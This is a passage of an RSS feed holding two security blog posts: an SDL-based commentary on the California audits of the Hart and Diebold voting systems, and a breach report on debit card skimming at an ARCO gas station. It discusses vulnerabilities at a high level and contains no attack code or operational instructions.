<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>From the executive summary:<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><FONT face=Calibri><B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Bold">“Unsecured network interfaces …</SPAN></I></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Roma"> Voters can connect to unsecured network links in a polling place to subvert eSlates, as well as to eavesdrop on cast votes and to inject new votes. Poll workers can connect to JBCs or eScans over the management interfaces and perform back-office functions such as modifying the device software. The impact of this is that a malicious voter could potentially take over one or more eSlates in a precinct and a malicious poll worker could potentially take over all the devices in a precinct. …<o:p></o:p></SPAN></I></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Roma"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></I></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><FONT face=Calibri><B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Bold">Failure to protect ballot secrecy </SPAN></I></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Roma">Hart’s system fails to adequately protect ballot secrecy...”<o:p></o:p></SPAN></I></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><o:p><FONT face=Calibri size=3>&nbsp;</FONT></o:p></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>The concerns about unsecured network interfaces are discussed in the context of authentication and least privilege (pages 24-25). While that is certainly a reasonable perspective, with the SDL we take a broader view and require all teams to threat model the attack surface of the software being developed. Attack surface is the enumeration of all possible entry points that an attacker could use to compromise software (code listening to network interfaces, code that accepts data from external sources, etc). The SDL requires development teams to both minimize attack surface in the software they are building and to consider attacks from each entry point on the attack surface to ensure that mitigations are present. It would appear that these examples show that the development teams didn’t adopt such a systematic approach, or failed to think about mitigations of each possible attack if they did.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Ballot secrecy is an example where security and privacy concerns intersect. Many people confuse security and privacy, and both are fundamental to trust. Privacy addresses a wide variety of concerns about many types of data (such as Personally Identifiable Data (PII), ballot data, etc.), how it’s handled (gathered, transmitted, stored, and disposed of) and what rights and expectations different stakeholders may have regarding that data. (Tina Knutson gave a great overview on these issues in a previous blog posting “</FONT><A href="http://blogs.msdn.com/sdl/archive/2007/05/10/privacy-is-not-just-about-data-security.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2007/05/10/privacy-is-not-just-about-data-security.aspx"><FONT face=Calibri size=3>Privacy is not just about data security</FONT></A><FONT size=3><FONT face=Calibri>“). Security provides the mechanisms, policies, and practices to enforce privacy requirements. Given the intertwined nature of these issues, both are addressed in the SDL. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>The concerns about vote storage (section 6.8, page 58 of report) review some classic challenges in software security and privacy with weak random number generation. Randomization is important here since it controls how votes are stored in memory, and weak randomization enables someone to reverse engineer how individual voters voted by examining the aggregate tally of votes (which can be found on the Mobile Ballot Boxes “MBB”) in conjunction with the audit log. The MBB has mitigations in place to protect integrity (tampering) of votes, but doesn’t appear to protect against information disclosure. The SDL cryptographic policies also cover correct random number generation. The challenge of <B style="mso-bidi-font-weight: normal">fully</B> considering <B style="mso-bidi-font-weight: normal">all</B> ways in which data can be reverse engineered, contextualized (order of log entries providing information that can be linked to individuals’ choices), and correlated with other data sources is a growing challenge. In the SDL privacy policies, we call attention to these issues, but it’s still a challenge.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Next, let’s look at the </FONT><A href="http://www.sos.ca.gov/elections/voting_systems/ttbr/diebold-source-public-jul29.pdf" mce_href="http://www.sos.ca.gov/elections/voting_systems/ttbr/diebold-source-public-jul29.pdf"><FONT face=Calibri color=#0000ff size=3>Source Code Review of the Diebold Voting System</FONT></A><FONT size=3><FONT face=Calibri>. Again, I’ll pick two subjects.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><FONT face=Calibri><B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Bold">“Vulnerability to malicious software: </SPAN></I></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Roma">The Diebold software contains vulnerabilities that could allow an attacker to install malicious software on voting machines or on the election management system…<o:p></o:p></SPAN></I></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: CMSY10"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></I></P>
<P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.5in; LINE-HEIGHT: normal; mso-layout-grid-align: none"><FONT face=Calibri><B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Bold">Vulnerability to malicious insiders: </SPAN></I></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; mso-bidi-font-family: URWPalladioL-Roma">The Diebold system lacks adequate controls to ensure that county workers with access to the GEMS central election management system do not exceed their authority….”<o:p></o:p></SPAN></I></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><o:p><FONT face=Calibri size=3>&nbsp;</FONT></o:p></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Let’s look at the “Malicious Software” first: While there’s a lot of discussion of general concerns with viruses and malicious payloads, I’d like to drill down on a specific case noted in section 4.2.3 (page 29). The typical concerns around string handling in C/C++ and buffer overflows are mentioned. What is interesting is that in many places this system uses the Microsoft Foundation Classes (MFC) CString class to help mitigate such concerns. The problem noted is that this practice is not consistently followed, and in fact there is a case of one specific function making calls to both CString *and* a standard C string library, <I style="mso-bidi-font-style: normal">in the same function</I>. So here it appears the engineering team had the right idea by trying to remove calls to potentially risky C string library functions (just as required in SDL), but they just weren’t able to consistently and completely apply it.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Regarding the executive summary concern about malicious insiders, I’m inclined to attribute it to what’s described in section 4.3 on page 30: “<I style="mso-bidi-font-style: normal">No formal threat model or security plan</I>” and “<I style="mso-bidi-font-style: normal">No formal security training</I>”. Both of these are pivotal elements in the SDL. Several comments are offered to the effect that “<I style="mso-bidi-font-style: normal">security measures that are in place appeared to be ad hoc</I>”, and “<I style="mso-bidi-font-style: normal">When new developers arrive at the company, they do not receive any kind of security training</I>”. We’ve blogged here in the past about the importance of both areas, so I won’t repeat that again. (See Adam’s Threat Modeling series and Dave’s “</FONT><A href="http://blogs.msdn.com/sdl/archive/2007/05/02/security-education-v-security-training.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2007/05/02/security-education-v-security-training.aspx"><FONT face=Calibri size=3>Security Education v. Security Training</FONT></A><FONT size=3><FONT face=Calibri>” posts respectively for more info).<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><B style="mso-bidi-font-weight: normal"><FONT size=3><FONT face=Calibri>Is the SDL enough to ensure trustworthy voting systems?<o:p></o:p></FONT></FONT></B></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>When I offered this blog post for the review of my colleagues, it generated some very interesting discussion. Some of my colleagues were worried that I would misrepresent the SDL as a panacea for creating perfectly trustworthy voting systems. Let me be clear: this is absolutely NOT the case. While the SDL could help mitigate repeating many of the problems identified in these studies, it’s worth noting that election systems have a number of unusual and unique requirements. For example, voters cannot review their voting records as they would their banking records to ensure that no fraud has been committed – since the ability to do so would typically enable vote-selling and coercion.&nbsp; Alternate techniques are therefore required to allow voters to verify that their votes have been properly counted. Such requirements force the adoption of “extraordinary” techniques that go beyond those of secure software engineering.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>Furthermore, the expectations of society on the trustworthiness of voting systems are much greater as compared to other types of software (for example: the latest XBOX game title). I’ll further explore differences in how different people think about “degrees of trustworthiness” (aka “assurance” or “robustness”) in a future posting. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><B style="mso-bidi-font-weight: normal"><FONT size=3><FONT face=Calibri>Summary<o:p></o:p></FONT></FONT></B></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Let me wrap by saying this, building secure software is difficult. Prior to the advent of Trustworthy Computing and the Security Development Lifecycle here at Microsoft, I’d bet that many of the issues noted in these reports would have applied to earlier Microsoft products too. Some might think I’m throwing stones while living in a glass house, but that is not my intent. While Microsoft products are not vulnerability free, we continue to systematically analyze the sources of vulnerabilities in our software. We continue to modify our engineering practices and tools to better identify potential vulnerabilities and mitigate them before software is released. With increasing awareness and concerns over the trustworthiness of computers in general, the entire industry needs to improve. Given the importance of how we choose to organize ourselves as a society and elect representatives to govern us, voting systems are a great place to step up both in the context of the computing industry, and to better serve society.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>I believe many of the issues found in these voting systems would not have entered the system if the SDL was used to design and build the voting systems.<o:p></o:p></FONT></FONT></P><img src="http://blogs.msdn.com/aggbug.aspx?PostID=7450582" width="1" height="1">]]></content:encoded>
      <pubDate>Mon, 04 Feb 2008 20:34:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/machine security concerns">machine security concerns</category>
      <category domain="http://securityratty.com/tag/security concerns">security concerns</category>
      <category domain="http://securityratty.com/tag/election systems">election systems</category>
      <category domain="http://securityratty.com/tag/election">election</category>
      <category domain="http://securityratty.com/tag/security">security</category>
      <category domain="http://securityratty.com/tag/security researchers">security researchers</category>
      <category domain="http://securityratty.com/tag/election systems margin">election systems margin</category>
      <category domain="http://securityratty.com/tag/margin">margin</category>
      <category domain="http://securityratty.com/tag/election management system">election management system</category>
      <source url="http://blogs.msdn.com/sdl/archive/2008/02/04/more-trustworthy-election-systems-via-sdl.aspx">More trustworthy election systems via SDL?</source>
    </item>
    <item>
      <title><![CDATA[ARCO gas pumps targeted by fraudsters]]></title>
      <link>http://securityratty.com/article/969df5ce69bf4b4dae8480b66d2150a0</link>
      <guid>http://securityratty.com/article/969df5ce69bf4b4dae8480b66d2150a0</guid>
      <description><![CDATA[Technorati Tag: Security Breach

Date Reported
12/12/07

Organization
ARCO

Contractor/Consultant/Branch
Station located at 4378 N. Santa Anita Avenue, El Monte, California

There are 135 ARCO gas...]]></description>
      <content:encoded><![CDATA[Technorati Tag: <a href="http://technorati.com/tag/security+breach" rel="tag">Security Breach</a><br><br>
<img src="http://breachblog.com/images/95781-88451/arco.jpg" align="right" height="39" width="127">
<font size="2"><span style="font-weight: bold;">Date Reported: </span><br>12/12/07<br><br><span style="font-weight: bold;">Organization: </span><br>ARCO<br><br><span style="font-weight: bold;">Contractor/Consultant/Branch:</span><br><a href="http://www.arco.com/toolserver/arcotool/routeplannerstationdetails.do?fuelstationid=81844&amp;state=0" target="_blank"> Station located at 4378 N. Santa Anita Avenue, El Monte, California</a>*<br><br><font size="1">*There are 135 ARCO gas stations within a 10 mile radius</font><br><br><span style="font-weight: bold;">Victims:</span><br>ARCO Customers<br><br><span style="font-weight: bold;">Number Affected:</span><br>As many as 100<br><br><span style="font-weight: bold;">Types of Data:</span><br>Debit card magnetic stripe data and PINs (Personal Identification Numbers).<br><br><span style="font-weight: bold;">Breach Description:</span><br>It appears as though a group of thieves has installed an unknown electronic data capture device on one or more gas pumps at one or more ARCO gas stations for the purpose of stealing customers' money.&nbsp; Monetary losses have already surpassed $30,000, with unauthorized withdrawls taking place all across the U.S.<br><br><span style="font-weight: bold;">Reference URL:</span><br><a href="http://www.msnbc.msn.com/id/22217540/" target="_blank"> KNBC-TV News Story</a><br><a href="http://cbs2.com/local/ID.Theft.Investigation.2.609494.html" target="_blank"> KCAL 9 News Story</a><br><a href="http://www.whittierdailynews.com/news/ci_7727859" target="_blank"> Whittier Daily News Story</a><br><br><span style="font-weight: bold;">Report Credit:</span><br>KNBC-TV<br><br><span style="font-weight: bold;">Response:</span><br>From the online sources cited above:<br><br>Law enforcement authorities are searching for whoever skimmed debit card information from at least 45 customers at an Arco station in El Monte<br><br>The suspects made off with thousands of dollars from unsuspecting customers. A computerized device apparently was used to lift key information, including debit card identification numbers, concealed in the card's magnetic strip<br><span style="font-style: italic;">[Evan] It never ceases to amaze me how clever thieves are.&nbsp; I would love to see the device that was used, how they installed it, how they concealed it, and how they stored the information that they captured.&nbsp; This isn't just some "run-of-the-mill" street thug.</span><br style="font-style: italic;"><br>Fraudulent withdrawals, ranging from $400 to $1,500 per customer, were made in Las Vegas, Palms Springs and New York, police said. Investigator Victor Hernandez told the San Gabriel Valley Tribune there could be as many as 100 victims.<br><br>The reported monetary losses had also jumped from $10,000 to $30,000 - and Glick said that number could reach $100,000 once all of the cases are investigated. <br><br>No illegal devices have been found at the gas station, but authorities say the fact that all the victims have used their cards there is more than a "coincidence." <br><br>investigators believe an advanced computer device was used to capture information from cards' electronic strips and personal identification numbers (PIN). <br><br>a group of people are likely behind this debit-card scam because withdrawals are being made simultaneously in locations hundreds, sometimes thousands, of miles away from one another.<br><span style="font-style: italic;">[Evan] Maybe.&nbsp; I wouldn't base this assumption solely on where the information was used, per se.&nbsp; There is a thriving market in fresh stolen credit/debit card data.&nbsp; The compromised information could have been stolen months ago, then recently sold on one of many "carders" forums.</span><br style="font-style: italic;"><br>"There seems to be more ARCO gas stations than other gas stations targeted," Glick said. "It's possible a specific group or groups are working these pumps." <br><span style="font-style: italic;">[Evan] Incidents like this breach could/should force gas stations and other unattended payment merchants to rethink how they secure their terminals.&nbsp; The convenience is great, but security of the information is more important.</span><br><br>ARCO officials said the company only accepts debit cards because banks impose higher fees for credit transactions.<br><br>"ARCO considers the safety and security of every customer a top priority," said Todd Spitler, a spokesman for the company. "But there are other businesses throughout California, not only us, that only accept debit cards." <br><br>The company often updates its technology to thwart criminal activity, and any time their pumps are compromised, ARCO officials work with law enforcement agencies, Spitler said. But identity theft is a global issue, he said.<br><em>[Evan] This isn't identity theft, this is credit card fraud.</em><br><br><span style="font-weight: bold;">Victim Response:</span><br>From El Monte resident Douglas Trujillo, a victim of $1,100:<br>"I do online banking and I looked at my account and I noticed my checking account at zero dollars," he said. "That set alarms off for me." <br><br>"I'm actually going to change my whole process," Trujillo said. "Now that I've seen how easy (thieves) can do this, I'm just going to stick to using cash and secure ATMs."<br><br><span style="font-weight: bold;">Commentary:</span><br>This is a very unfortunate, but at the same time interesting breach.&nbsp; I would love to know more about how the ARCO gas pumps are secured and how they transmit data.&nbsp; I would also love to know more about how the data was actually compromised.&nbsp; I have to admit, this breach makes me think more about paying at the pump.&nbsp; I expect to read about similar breaches in the future.&nbsp; Sad but true. <br><br><span style="font-weight: bold;">Past Breaches:</span><br>Unknown</font><br>
<script src="http://feeds.feedburner.com/%7Es/breachblog?i=http://breachblog.com/2007/12/27/arco.aspx" type="text/javascript" charset="utf-8"></script>
<br>
<br>
<script type="text/javascript"><!--
google_ad_client = "pub-4721162729073131";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
google_ad_channel = "";
//-->
</script>
<script type="text/javascript">
</script>]]></content:encoded>
      <pubDate>Thu, 27 Dec 2007 10:58:30 +0000</pubDate>
      <category domain="http://securityratty.com/tag/arco gas pumps">arco gas pumps</category>
      <category domain="http://securityratty.com/tag/pumps">pumps</category>
      <category domain="http://securityratty.com/tag/gas pumps">gas pumps</category>
      <category domain="http://securityratty.com/tag/arco">arco</category>
      <category domain="http://securityratty.com/tag/gas stations">gas stations</category>
      <category domain="http://securityratty.com/tag/arco gas stations">arco gas stations</category>
      <category domain="http://securityratty.com/tag/card">card</category>
      <category domain="http://securityratty.com/tag/debit card identification">debit card identification</category>
      <category domain="http://securityratty.com/tag/creditdebit card data">creditdebit card data</category>
      <source url="http://breachblog.com/2007/12/27/arco.aspx">ARCO gas pumps targeted by fraudsters</source>
    </item>
  </channel>
</rss>
